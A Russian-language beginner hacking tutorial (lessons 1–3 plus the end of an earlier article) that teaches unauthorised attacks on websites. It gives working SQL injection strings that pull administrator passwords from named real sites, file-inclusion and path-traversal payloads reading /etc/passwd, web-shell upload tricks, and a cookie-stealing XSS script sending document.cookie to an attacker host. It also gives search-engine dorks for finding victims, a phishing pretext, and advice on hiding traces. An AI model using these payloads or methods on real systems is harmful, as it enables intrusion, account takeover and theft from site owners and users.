Мда не густо, тут то нам и поможет конструкция INTO OUTFILE, она в отличии от предыдущей сделает вывод всех записей по которым осуществляем выборку, из нужной нам таблички! Делаем выводы господа, что обе конструкции хороши и имеют определённо свои плюсы, так что советую их использовать в зависимости от ситуации, естественно, если речь не идёт о конфликте между win и *nix, то предпочтительно использовать INTO OUTFILE.

С вами был fraIzer. Надеюсь, ты нашел в моей статье, что-то полезное для себя и не потратил время зря… Всем желаю удачи и творческих успехов.

See yet…

P.S. данная статья изначально подразумевается, как часть серии статей посвященных небольшим хитростям и тонкостям ремесла вэб-хакера. Посмотрю на ваши комментарии и уже решу, стоит ли продолжать, возможно дело того не стоит, а может и наоборот, в общем оставляйте побольше комментариев, буду рад конструктивной критике.

Основы хакерства. Урок 1
[ Хакерство для новичков ]


Небольшое примечание
Недавно мне в голову пришла идея переделать статьи владухи «Основы хакерства» и возможно написать продолжение.
Все дело в том, что информация в статьях немного устарела, поэтому я взялся подредактировать существующие статьи.
Некоторые темы будут полностью переписаны, некоторые будут оставлены. Ну что ж начнем.

Основы.
Привет, читатель. Год назад я пришёл на ХЗ, и очень хотел стать хакером. Никто не мог мне обьяснить многие простые вещи, я видел много опытных,
но стать на путь хакера мне помогли буквально единицы. И я могу их назвать: PinkPanther, DrWeb, R_a_ID_e_R.
Я обучался сам, не надеясь ни на чью помощь, стараясь описывать свои познания в статьях для новичков.
Так шло время, менялись поколения... Я не хочу усложнять жизнь ньюбов, я всегда к ним хорошо относился, и я считаю, что новички меют право знать.
Тот, кто скажет, что я неправ, что мол "пусть сами разбираются, только так они вырастут",
и прав и неправ. Да, упорные достигнут своей цели, но человек, которому это не надо, просто не будет читать эту статью.
Тем, кто до сих пор мучает поисковики вопросами типа "как стать хакером" я решил посвятить цикл уроков, а может, и книгу.
Ты пройдёшь путь от ламмера до хакера, изучишь технологии программирования, взлома и многое-многое другое. Проходи этот путь по моим урокам, и всё будет ОК,
Это первый урок, посвящённый азам хакерства, он скорее завлекающий. Помни, всё это только игрушки, а настоящее хакерство пойдёт потом. А на этом этапе ты должен решить,
нужно оно тебе, или нет. Постепенно мы изучим сетевые технологии, ты узнаешь, как устроен Интернет, что можно в нём найти интересного,
что можно, а что нельзя. Добро пожаловать в наш мир!
Итак, темы на сегодняшний урок:
Идеология хакера
Ответственность
Путь хакера

Идеология хакинга.
Хакинг – это почти религия. Если ты окунулся в этот мир, то не сможешь уйти из него никогда. Хакинг это не хобби,
это даже не работа (хотя многие зарабатывают на этом), хакинг – это жизнь!
У многих слово "хакер" ассоциируется с эдаким ботаником, день и ночь взламывающим банки и переводящим себе кучу денежек,
неустанно беспрерывно сносящим сотни серверов одним ударом без причины. Хочу тебе сказать, что эта мысль в корне
неправильная. В этом уроке мы пока еще не будем вскрывать банки (ну разве что банку пива:)), мы поговорим о том, кто такие
хакеры, что они делают и какими мотивами руководствуются.

Согласно определению, хакер - человек, увлекающийся компьютерами, и испытывающий желание знать о них всё. Запомни, что просто
так ничего не происходит, и У любого взлома есть цель, мотив, взломщик и ОТВЕТСТВЕННОСТЬ. При взломе хакером движет
элементарное любопытство, желание проникнуть внутрь, найти уязвимость. Если ты со мной не согласен,
тебе просто нет смысла читать дальше.
Пожалуй, сразу стоит определиться с терминами.
Ламер – это не тот кто не знает. Это человек, которые не стремится узнать. Причем, он как правило считает себя опытным хакером. Это классический ламер.
Новичок – почему то всегда путают ламера с новичком. Новичок еще мало знает, но он стремится узнать.
Хакер – это прежде всего создатель, а не взломщик. СМИ запудрила людям мозги, спутав хакеров и крекеров. Крэкер это как раз взломщик.
Правда сейчас у этого термина немного другое значение. Сейчас крекером является человек, которые взламывает программы и игнорирует любые копирайты.
Вообще хакер- это вселенский энтузиаст. Давайте будем энтузиастами!

Для начала ты должен уметь использовать поисковики. В Инете
говорят, google - твой лучший друг. Если у тебя есть какой-либо вопрос, не спеши с ним на форум, поищи уже готовые ответы,
ведь наверняка ты не первый, кто его задает. Если ты научишься владеть поисковиком, то дальнейшее изучение не составит проблем. На 90% твоих вопросов ответы есть в Интернете.
Конечно, на форумах на адекватный вопрос всегда дадут ответ. Ты всегда можешь попросить помощи у более опытных людей.
Но рано или поздно придет время самостоятельно принимать решения, находить выходы из ситуаций. Именно этому
я тебя учу - ты должен обладать творческим мышлением, уметь адаптироваться к новым условиям.
У всех новичков один вопрос – «С чего начать?»
Я бы советовал начать с изучение английского языка, т.к. базовый язык для машин, как раз английский. Если у тебя с этим туго советую немедленно скачать учебник, либо записаться на курсы.
Многие говорят, что нужно научиться быстро набирать текст. Это так. Но не стоит скачивать какие то специальные программы. Со временем ты сам не заметишь, как будешь вслепую набирать текст.

Ответственность.
Что же за ответственность? Думаю догадаться несложно.
Существуют статьи УК, в которых описаны наказания за
компьютерные преступления. Приведу некоторые:

Статья 159. Мошенничество

Статья 165. Причинение имущественного ущерба
путем обмана или злоупотребления доверием
Статья 183. Незаконное получение и
разглашение сведений, составляющих
коммерческую или банковскую тайну

Статья 187. Изготовление или сбыт поддельных
кредитных либо расчетных карт и иных
платежных документов

Статья 272. Неправомерный доступ к
компьютерной информации

Статья 273. Создание, использование и
распространение вредоносных программ для
ЭВМ

Статьи КоАП РСФСР

Статья 137. Изготовление и использование
радиопередающих устройств без разрешения

Статья 138. Нарушение правил приобретения,
установки, строительства и эксплуатации
радиоэлектронных средств

Статья 139. Нарушение правил охраны линий и
сооружений связи

Статьи УК РФ

Статья 137. Нарушение неприкосновенности
частной жизни

Статья 138. Нарушение тайны переписки,
телефонных переговоров, почтовых,
телеграфных или иных сообщений

Статья 183. Незаконное получение и
разглашение сведений, составляющих
коммерческую или банковскую тайну

Статья 272. Неправомерный доступ к
компьютерной информации

Статья 273. Создание, использование и
распространение вредоносных программ для ЭВМ.

Предположим ты взломал сервер. Но так как ты новичок забыл затереть логи. И твой ip(айпи) адрес остался на сервере.
Теперь если администратор обнаружит вторжение, он может смело может пожаловаться твоему провайдеру.
Провайдер проверит, кому принадлежал это адрес в указанное время. И твой телефон и домашний адрес у них в руках.
Далее - если будет написано заявление в милицию, тебя ждет одна из выше перечисленных статей.
Но заявления может и не быть. Провайдер просто отключить тебя от Интернета. Это в лучшем случае.

Вообще могу сказать, что лучше всего хранить конфиденциальные данные
на CD в запароленном архиве с очень сложным паролем и измененным расширение, либо на флеш носителе, как первый, так и второй уничтожить не составит труда.

Путь хакера.
Здесь и сейчас, с этого момента, начинается твой путь в хакеры. Где-то в Интернете я видел интересное высказывание: лучший админ - это хакер, и наоборот - лучший хакер - злой админ.
Отчасти это правда. Подобно тому, как хороший боец должен хорошо владеть оружием, хакер должен хорошо владеть компьютером. Они знают по нескольку языков программирования, разбираются в операционных
системах, знают, как устроен компьютер и могут собрать и разобрать его за 45 секунд). Чтобы успешно находить уязвимости в
скриптах, ты должен знать, по какому принципу они работают, а чтобы это понять, надо знать язык, на котором они написаны.
Не обязательно знать прям всё, но что-либо альтернативное из каждой группы языков ты должен выбрать. Вот основные языки,
которыми пользуются хакеры. Из каждой группы выбери один-два языка:

·Ассемблер

·Delphi | С/C++ | Visual Basic

·HTML, XML, WML

·PHP | ASP | JSP | Perl

·SQL и кoмпания


Не обязательно учить всё сразу, чтоб не говорил, что я тебя запугиваю. Жирным выделены обязательные языки. По возможности
найди как можно больше учебников для дальнейшего изучения.

Ассемблер используется для взлома shareware-программ, для создания кряков и кейгенов.
Дальше. HTML, PHP, ASP, Perl, JavaScript, VBS, JSP, и многие другие объединяют в одну группу - это
"веб-языки". При помощи них создаются веб-сайты, например HackZona написана на PHP.
HTML - это не язык программирования. Его название переводится как "HyperText Markup Language" - "язык гипертекстовой разметки". Т.е. при помощи него не программируют,
а только "размечают" документ, показывая компьютеру, где какие данные должны быть. Как говорилось в предыдущем уроке, если
при написании сайта ограничиваться только этим языком, то мы просто задаём: здесь рисунок, а тут ссылка, а тут такой-то текст.
Таким образом, при каждой загрузке страницы мы увидим одно и то же: рисунок, ссылка, текст. А вот если прикрутить к документу
скрипт, написанный на PHP, мы можем указать, что при загрузке рисунка можно выбрать из базы данных, например, ту картинку, что
нравится пользователю.
Таким образом, они друг друга дополняют. Ты должен чётко ощущать разницу между веб-дизайном и веб-программированием.

XML - это тоже язык гипертекстовой разметки, дающий большую гибкость, чем HTML, однако, его тебе пока учить не стоит. WML - разномидность XML, используется для создания wap-сайтов.
PHP и Perl - наиболее часто используемые языки веб-программирования.

CSS - каскадные таблицы стилей. Это надстройка HTML, используется для визуального украшения документа - неподчёркнутые
ссылки, цвет полосы прокрутки, рамки, анимация, и многое-многое другое. Оригинальная версия этой статьи написана с
использованием css. Украшены ссылки, элементы списков, рамки для кода и правил, и др. Если ты читаешь статью с HackZona.ru,
то перед тобой не оригинальная статья, хотя это никак не отражается на сути урока.

Delphi, С/C++/C#, Java, Visual Basic, QBasic, Dark Basic, Pascal, Fortran, etc. - это "прикладные" языки. Приложения, созданные
в этих средах разработки, носят расширение *.exe . {+ хотя файлы php - тоже приложения +}

SQL - язык баз данных. Ты, наверное, слышал термин SQL injection? Мы к нему вернёмся через несколько уроков. Это уязвимость,
позволяющая хакеру вытаскивать данные из базы, передавая их вместе с PHP-запросом. И для этого нужно изучить SQL.

Ты сам понимаешь, что учить тебя этим языкам я не буду, я буду учить тебя их использовать. То, что тебя интересует, найдёшь сам.
Теперь поговорим немного об ОС (операционная система).
Сейчас ты наверняка сидишь под Windows.
Кроме windows существуют системы семейства unix, их еще называет *nix (никсы).
Юникс систем очень много приведу несколько:
Linux, BSD, Solaris.
Пока об этом стоит только читать, но в будущем советую поставить какой нибудь дистрибутив Linux, так как эта система как никакая другая подходит для взлома.

Существуют разные подвиды хакеров, занимающиеся разными видами деятельности:

·Хакинг

·Крэкинг

·Фрикинг

·Социнженеринг/фишинг

·Кардинг

·Кодинг


Каждый занимается чем то своим.
Но, например веб хакинг, социнженерию и кодинг можно объединить. Так как в деле одно может дополнять другое. Давайте разберемся со всем этим поподробнее:

Хакинг – этим собственно и занимаются хакеры. В этот раздел можно отнести взлом сайтов серверов поиск уязвимостей в скриптах & прикладных программах,
написание эксплоитов (или другое название сплоиты)

Крэкеры (это не печенье;)) занимаются исследованием начинки программного обеспечения, в частности получение алгоритма
генерации серийного номера в платных программах, исп. для создания кейгенераторов. Для этого надо знать ассемблер, чтобы понимать, как устроена программа.

Фрикеров часто связывают с электроникой. Фрикер - любитель халявы, который привык не платить за услуги, связанные с электроникой. К этому относят взлом таксофонов, счетчиков, теликов, и т.д. и т.п.
Естественно, чтобы этим заниматься, нужно иметь глубокие познания в электронике. Мой папа по образованию - инженер-электронищик. Я 16 лет жил в одной квартире с
величайшим фрикером, не зная этого.

Социальная инженерия - это единственная наука из всех названных, направленная не на взлом компьютера, а на взлом человека.
Сейчас в Сети очень много ламмеров, и элементарно выманить их пароли оказывается достаточно просто. Например, выдать себя за
админа почтового сервиса, или тех. консультанта организации, и сказать, что мол поступила жалоба на спам с Вашего ящика, если
не хотите его удаления, отошлите такое-то письмо на почтовый робот такой-то, укажите свой логин, пароль, и этот код доступа:
46655529 (цифры наугад), и он поверит. Социнженеринг(далее СИ) применяется там, где единственное уязвимое место в системе -
пользователь. Пример: зачем ломать mail.ru если можно обмануть юзера?

Кардинг - манипуляции с кредитками, мардинг - маниакальное уничтожение взломанных систем. На этих пунктах мы останавливаться
не будем по понятным причинам.

Конечно, кое-кто раскритикует такое разделение, но новички должны знать эти понятия. Не бывает так, что хакер опытен только
в одном деле и безразличен к другим направлениям. Это деление чисто условное.

Кодинг - программирование с точки зрения хакерства.

Всё, ты уже стал на путь хакерства. Вводные уроки закончились, в следующий раз мы поговорим о более серьезных вещах.
Я начну рассказывать тебе о том, как устроен Интернет, какая в нем адресация, что такое IP,порты,proxy и т.д.

Приложение
Советую почитать книгу "HTML.Первые шаги". Для ознакомления с HTML это просто НАХОДКА. Учебник написан понятным языком, с
примерами кода, иллюстрациями. Респект автору.
Для изучение PHP подойдет книга PHP в подлиннике.
По линуксу(linux) подойдет книга «Введение в Linux»
Все вышеприведенное можно найти в сети с помощью поисковика google.

Как раз будет полезно потренироваться искать информацию.

 

Основы хакерства. Урок 2
[ Хакерство для новичков ]


Основы.
Привет читатель. Я решил долго не тянуть и уже в этой статье рассказать о том, какими способами взламывают сайты, какие бывают уязвимости
и зачем собственно взламывать сайты. Что вы узнаете на сегодняшнем уроке:

Кто и зачем?

Какие бывают уязвимости.

Веб шелл, как и что.


Примечание: курсивом будут выделены слова, которые возможно будут вам не понятны. Найти их значение вы сможете в конце статьи.

Кто и зачем?
Вообще под понятием взлома я понимаю несанкционированный доступ к чему-либо.
Мы ломаем веб сайты. Поэтому нам нужно получить доступ к административной панели, либо украсть базу данных сайта, либо просто изменить главную страницу.
Все зависит от такого для чего производится взлом.
Рассмотрим основные мотивы:

Изменения главной странички ради удовольствия && мести. Это называется «дефейс» сайта
Воровство базы данных - это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база
Взлом производиться ради повышения прав на сервере.

Теперь поговорим о таком понятии как скрипт кидди.
Скрипт кидди - это люди, как правило не слишком разбирающихся в хаке и программировании.
Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее.
Так как же они взламывают? Они попросту используют чужие наработки.
Допустим скрипт кидди нужно взломать один форум. Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее.
Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты.
Либо второй вариант - для развлечения - скрипт кидди опять же идет на багтрак и выбирает уязвимость. Например, он выбирает сплоит для CMS php nuke 7.0.
Далее он идет в поисковик и делает следущюий запрос:
site: php nuke 7.0 - этим он получит список сайтов с установленной CMS Nuke
Далее он просто использует эксплоит. Это кстати называется гугл хакинг.
Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше, а некоторые останавливаются на этом.

Какие бывают уязвимости? Три самых тривиальных уязвимостей это xss sql injection php include
В каждом уроке я буду рассказывать понемногу про каждую из них.
Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости.

XSS.
Цель у этой уязвимости одна - украсть Cookes файлы.
Итак, сначала из за чего появляются Xss
Происходит все это из-за отсутствия фильтрации входящих данных
Разберем сразу на примере:
www.atlant.ws Справа мы видим текстовое поля для поиска. Попробуем ввести простой html тег [hr]
И мы увидим линию (в HTML этот тег означает провести линию)
В адресной строке мы видим:
http://www.atlant.ws/?set=search&www=false&query=[hr]
Значит данные передаются GET запросом.
Но от обычного тега опасности никакой. Попробуем ввести простенький javascript сценарий.
http://www.atlant.ws/?set=search&www=false&query=[script]alert('xss')[/script]
Опа. Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение.
Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код. В нашем случае нужно передать его в переменную запроса (q)
Кроме пассивных xss существует активные.
Опять же пример:
http://www.addtop.ru/kom.php?id=32
Вводим в комментарии скрипт
[script]alert('xss')[/script]
И отправляем его.
Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его.
Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти.
А в активке нужно, что бы пользователь попросту посетил страницу, в которой уже заключен наш код.
Пока про xss все. Не хочу нагружать тебя информацией. Попробуй поискать активные и пассивные xss.
Так же советую хорошенько изучить, что такое Cookes. В следующем уроке мы разберем, как их воровать. И зачем.
В конце статьи я приведу несколько полезный ссылок на эту тему.

Введение в PHP include.
Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл.
Разберем сначала, что такое веб шелл.
Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе.
В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл.
Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость

Видим на сайте такой url:
www.site.ru?page=home.html
Это значит, что на страничку подгружается файл home.html
А что если попробовать подгузить свой файл? Например, так:
www.site.ru?page=http:/hacker.ru/webshell.php
Так мы пробуем загрузить веб шелл на сайт.
Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан.
Это называется удаленный инклуд. Удаленный потому что нам удалось загрузить скрипт с другого сервера.
Кроме удаленных, инклуды бывают локальные.
В этом случае мы сможем только читать файлы на сервере.
Например, сейчас мы попробуем прочитать файл с именами пользователей системы:
www.site.ru?page=/etc/passwd
Вот, опять же попробуй поискать php include. Советую воспользоваться google:
Inurl:page=
Такой запрос покажет нам сайты, в урле которых присутствует строка “page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим
Кстати если найдешь php инклуд, то можно получить xss вот так:
www.site.ru?page=[script]alert(/xss/)[/script]
Это работает во многих случаях.
В следующем уроке я расскажу о том: почему происходит php include, что такое null byte и трудности при чтении файлов.

Введение в SQL Injection
Очень распространенная уязвимость. Суть ее использования заключается в том, что бы вытащить необходимую нам информацию из базы данных. Обычно этими данными является логин и пароль администратора сайта.
Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы
Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по-своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение. Например:
http://www.descom.ch/main.php?id=18646644
Что бы проверить параметр на sql injection обычно подставляют кавычку
http://www.descom.ch/main.php?id=18646644' либо другие левые символы
Видим ошибку. Понимаем что это mysql.
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19

Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны (т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by.
http://www.descom.ch/main.php?id=18646644’+order+by+10/*
Вывод то же самый, значит полей меньше
http://www.descom.ch/main.php?id=18646644+order+by+7/*
Да. Вывод изменился. Значит полей 7.
Теперь нужно получить читабельные поля. http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,6,7/*
Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select
У нас есть колонки. Теперь нужно получить информация о базе.
http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version(),5,6,7/*
Видим что mysql v5 - - В этой версии есть кое какие особенности при взломе, но пока разбирать это не будем и попробуем просто подобрать таблицу.
Делается это так:
http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version(),5,6,7/+from+таблица/*
таблицу нам нужно подобрать самим. Самые распространенная это user или users. Список часто используемых таблиц можно найти по этой
ссылке
В нашем случае мне удалось узнать, что имя таблицы user.
Теперь можно приступить к выводу информации. Нам нужно достать логин и пароль.
Попробуем:
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*
И у нас на экране логин и хеш пароля администратора.
Вот таким не хитрым образом удалось поломать базу.
Кстати здесь тоже имеет место xss:
http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,[script]alert(/xss/)[/script],5,6,7/*

Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию, что бы немного вас завлечь. В следуюих уроках
я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ. Так что желательно подучить php и mysql
Кстати набор инъекция и инклудов для тренировки ты всегда сможешь найти на форуме хакзоны:
sql inj
php inc

Еще парочка способов загрузить веб шелл.
Как ты наверное уже понял главное это веб шелл. Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ
На множестве сайтов присутствует возможность загрузки каких либо файлов. Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл. Но не все так просто. Иногда скрипт проверяет разрешение.
Допустим нам можно загрузить картинку. Но если вместо нее мы попытаемся залить файл webshell.php скрипт может проверить разрешение и запретить загрузку. Это можно обойти таким способом:
Поменять разрешение на такое:
webshell.php.jpg.
и возможно нам удастся загрузить шелл.
Но бывает, что сайт проверяет не только имя файла, но и его содержимое. Т.е он смотрит картинка это или текст
Для этого можно поступить вот так:
Открыть картинку в любом текстовом редакторе и в конце добавить php скрипт.

Термины, используемые в статье.
Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи:
Дефейс- замена страницы сайта на свою либо редактирование страницы под собственные нужны. Например "Hacked by вася"
CMS или еще говорят движок-двиг - система управления сайтом.
Эксплоит - сплоит -exploit-xploit - программа автоматически реализующая какую либо уязвимость. По сути, сплоит можно написать почти на любом язык программирования
Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для:
аутентификации пользователя;
хранения персональных предпочтений и настроек пользователя;
отслеживания состояния сессии доступа пользователя;
ведения статистики о пользователях.
Если мы украдем «Куки» администратора сайта и заменим их на свои, то без проблем сможем аутентифицироваться как админ.
В следующей статье я как раз расскажу про воровство Cookes с помощью xss
bugtraq-багтрак - Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении.
Google hacking - гугл хакинг - Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте.

Послесловие
Вот и подошел к концу 2 урок. На следущем мы более подробно разберем xss php include и sql injection. Далее я покажу несколько приемов в веб хаке. И в конце мы поговорим об эксплоитах.
Для самообразования можно почитать вот это:
xss
sql injection
php include

А также
теоретические основы хакинга
Также очень советую почаще посещать багтрак и разбирать уязвимости которые там описываются. На этом пока все. Удачи!
ps все уголковые теги заменены на [ и ]

Основы хакерства. Урок 3
[ Хакерство для новичков ]


Вступление.
Здравствуйте уважаемые читатели. Мы продолжаем значиться азами веб хакинга. Это 3 урок и вот какие темы мы сегодня разберем:

Сплоиты – структура и использование
Google hacking
Более подробное изучение таких уязвимостей как:
-sql injection
-xss
-php include


Сплоиты.
Или эксплоиты. Это программы или скрипты которые автоматически реализуют какую либо уязвимость. Мы будем знакомиться с эксплоитами для веб приложений.
Кроме них существуют эксплоиты для прикладных программ. Они более сложные и тебе пока рановато их изучать.
Итак, возьмем инъекцию из прошлого урока

http://www.site.us/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*

Представим, что эта уязвимость была обнаружена в какой то СMS с названием CoolCMS
Что бы каждому кто хочет взломать этот движок не нужно было раскручивать sql injection самому,
мы напишем эксплоит, который будет реализовывать уязвимость и выдавать только логин и пароль администратора.
Приводить текст эксплоита я не буду а только разберем суть алгоритма:

Сначала нужно сделать обратиться к сайту с составленным запросом для вывода логина и пароля.
Далее нам вернется страничка с аккаунтом
Теперь нужно пропарсить страницу и найти логин пароль.

Все. Ну кончено это самый примитивный пример.
Но надеюсь ты понял зачем нужны эксплоиты. Алгоритм эксплоита привиденного выше можно реализовать практически на любом языке программирования.
Но обычно эксплоиты для веб приложений пишутся на PHP или Perl
Давайте теперь разберем классический сценарий:

Твоя цель взломать какой то сайт. Зайдя на него ты видишь в подвале такую надпись:
Power by PHP-nuke 8.0
Это значит сайт работает на движке найков.
Теперь нужно попробовать найти паблик эксплоиты под эту версию.
Можно пойти на багтрак, но я предпочитаю пользоваться поисковиком:
PHP-nuke 8.0 exploit
После непродолжительного парсинга ссылок мы находим сплоит:

http://milw0rm.com/exploits/3346

Видим надпись #!/usr/bin/perl
Это значит эксплоит написан на perl.
Далее видим это:
#0day exploit for PHP-nuke <=8.0 Final
0day – значит эксплоит нулевого дня. Т.е. под него еще не выпущено заплаток под эту версию.
Итак, сполит на перл. Если у тебя стоит linux то запустить его можно командой

Perl exploit.pl

С windows посложнее. Тут придется поставить интерпретатор для языка. Но не бойся это не сложно. Скачать его можно здесь
После установки можно так же воспользоваться командой perl в консоли.

Perl exploit.pl

Далее программа покажет необходимые аргументы для этого эксплоита.
В большинстве случаев понадобится только адрес сайта.
Таксс, раз разговор зашел про запуск давайте разберем как использовать php эксплоиты.
Вообще желательно поставить php+apache+mysql. Т.к. это пригодится нам в будущем для тестирования движков.
Apache - это сервер
mysql - это база данных.
Мануал по установке можно найти здесь.
После этого достаточно скопировать php сплоит в папку www и запустить из браузера.

localhost/exploit.php

Либо в командной строке набрать
php путь до сплоита
В следующем уроке разберем исходник настоящего эксплоита.

Google hacking.
Поиск бажных сайтов
Возьмем опять же уязвимость PHP-nuke 8.0. Давайте с помощью поисковика найден сайты которые построенные на основе этого движка.
К этим сайтам можно применить наш сплоит. Запрос в google будет примерно таким:
Site: PHP-nuke 8.0
Поисковик выдаст нам список сайтов, на которых присутствует строка: PHP-nuke 8.0. В большинстве случаев это буду сайты которые нам нужны. Потом открываем любой сайт и применяем сплоит.
Надеюсь понятно, что можно искать любые бажные движки. Можно просто зайти на любой багтрак и быбрать уязвимый двиг, под который есть сплоит. И далее с помощью гугла найти сайты с этим движком.
В прошлом уроке я показывал как искать ресурсы с возможным php include bug:

inurl: “page=”

inurl ищет указанную строку в адресе сайта
Можно сделать такой запрос:

inurl:”id=1”

и гугл выдаст ссылки, в которых присутствует строка id=1. Некоторые из них возможно уязвимы к sql injection.
А если сделать так:

inurl:”page=” and “.us”

То гугл найдет все сайты с которые находятся в зоне .us(американские)
Кстати, еще можно указать тип документа:

filetype:asp

Гугл выдаст нам найденные asp сценарии.
Поиск админки Теперь давайте разберем как гугл может помочь нам при атаке на конкретный сайт.
Во первых поиск административной панели aka админки. Бывают случаи, когда например с помощью sql injection удалось вытянуть аккаунт администратора, но найти админку не удается.
Вот стандартные пути:

www.site.us/admin
www.site.us/administrator
www.site.us/admin.php

Но бывает, что у админов есть немного мозгов. И они прячут админ панель в недры дирикторый сайта. Что бы найти их нам опять же поможет гугл
Site: www.site.us admin
Или

Site: www.site.us admin.php

Ну и тому подобные запросы.
А вот такой запрос найдет все текстовые файлы сайта

Site: www.site.us filetype:txt

Можно попробовать поискать интересные файлы, что то вроде:

Site: www.site.us filetype:txt password.


Продолжаем знакомится с xss php include sql injection
Xss
Итак, на прошлом уроке мы научились искать xss, сейчас я покажу из за чего проиходит ошибка и каким образом можно украсть и подменить файлы cookies.
Рассмотрим небольшой сценарий:

[form name="form" action="questbook.php" method="GET"]
[input type=text name="text"]

[input type=submit name="submit" value="Send"]
[?php
$message=$_GET[‘text’]; Echo $message; ?]

Сначала в переменную $message считывается значение text из массива GET. Далее мы просто выводим надпись. Что касается формы, то в ней расположены текстовое поле (text) и кнопка для отправки сообщения.
Так вот. Входящяя информация Никак не фильтруется, т.е. пользователь может ввести любые символы в текстовое поле.
А если ввести скрипт, то он сответстенно выполнится.
Фактически это и есть причина xss.
Так теперь даавйте попробуем украсть Куки.
У нас есть xss такого вида.

www.site.us/questbook.php?text=[script]alert(‘xss’)[/script]

Итак, давайте введем такой скрипт (можешь использовать xss с прошлого урока):

www.site.us/questbook.php?text=[script]alert(document.cookie)[/script]

Такой скрипт выдаст нам наши Куки. Но нам нужны Куки юзера(админа), причем Куки эти нужно записать в лог файл.
Дело в том, что читать Куки от данного сайта, может только сам данный сайт. Поэтому поступаем так:
Регестрируемся на бесплатном хостинге с поддержкой php (в конце приведу список), далее создаем файл Snif.js таким содержанием:

Snif.js document.write('[iframe width=1 height=1 style="position: absolute; visibility: hidden;"
src="'+'http://хост/write.php'+'?host='+location.host+'&cook='+document.cookie+'"][/iframe]');

Этот код открывает невидимый фрейм, в котором загружается файл 'http://хост/write. (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу).
Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIES’ам этого сайта.
Далее в сценарии write.php мы просто запишем файлы Кук:

Write.php
[?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[‘host’].", COOKIES=”.$_GET[‘cook’].”rn");
fclose($file);
?]

Такс у нас есть файл с javascript кодом который ворует Куки, у нас есть файл которые эти Куки сохраняет. А скрипт в xss будет такой:

www.site.us/questbook.php?text=[script src=http://хост/snif.js][/script]

Все, осталось только дать ссылку жертве.
Напоследок вот еще что выше привиденный адрес довольно подозрительный. Его лучше закодировать в шестнадцатеричный код. Это можно сделать здесь. В разделе En/De Coder нужно выбрать Url Encode.

PHP include
Опять же наипростейший пример:

[?php
$f=$_GET[‘file’];
if(file_exists($f))
Include(‘file’);
?]

Как видишь функция include подгружает указанный файл. Проме include существует почти аналогичная функция require.
Так вот. Данные берутся из get массива. Т.е. мы легко из можем подделать:
http://x3k.ru/ www.site.us/include.php?file=/etc/passwd
http://x3k.ru/ Это пример из прошлого урока. Теперь разберем еще один кусок кода:

[?php
$f=$_GET[‘file’];
$f2=fopen(“$f.txt”,r));
?]

Тут уже используется функция fopen, которая также уявзима.
В коде мы к имени файла прибавляем расширение .txt т.е. когда мы будет пытаться читать локальные файлы это будет выглядеть так:

/etc/passwd.txt


Естественно ничего мы прочитать не сможем. Выход использовать NULL байт.
%00 – нуль байт. После его вставки часть строки обрубается.
Смотри:

/etc/passwd%00.txt

В итоге будет:

/etc/passwd

А вот на примере:

www.site.us/include.php?file=/etc/passwd%00

Бывает что и это не помогает прочитать файлы. Иногда нужно подняться на несколько дирикторий выше что бы появилась возможность посмотреть файл. Смотрим на примере:

www.site.us/include.php?file=../../../../../../../../../../../../../etc/passwd%00

Итак во первых – для просмотра файла /etc/passwd нужно перейти в корневую дирикторию и далее зайти в папку /etc.
Тоeсть сначала мы добираемся до корня. Это делается с помощью двух точек и слеша. Дело в том что в unix системах ..
означает каталог выше. Т.к. расположение файла неизвестно и надежнее будет поставить побольше знаков «../»
Всегда обращай внимание на ошибки которые появляются после вставки какого либо запроса.
Вот смоти:

Php include bug
http://www.wkar.msu.edu/sportstalk/page.php?StaffID=37&fill=[hacked]

Смотрим на ошибку:

Warning: include(content/[hacked].php) [function.include]: failed to open stream: No such file or directory in /home/httpd/htdocs/sportstalk/page.php on line 23

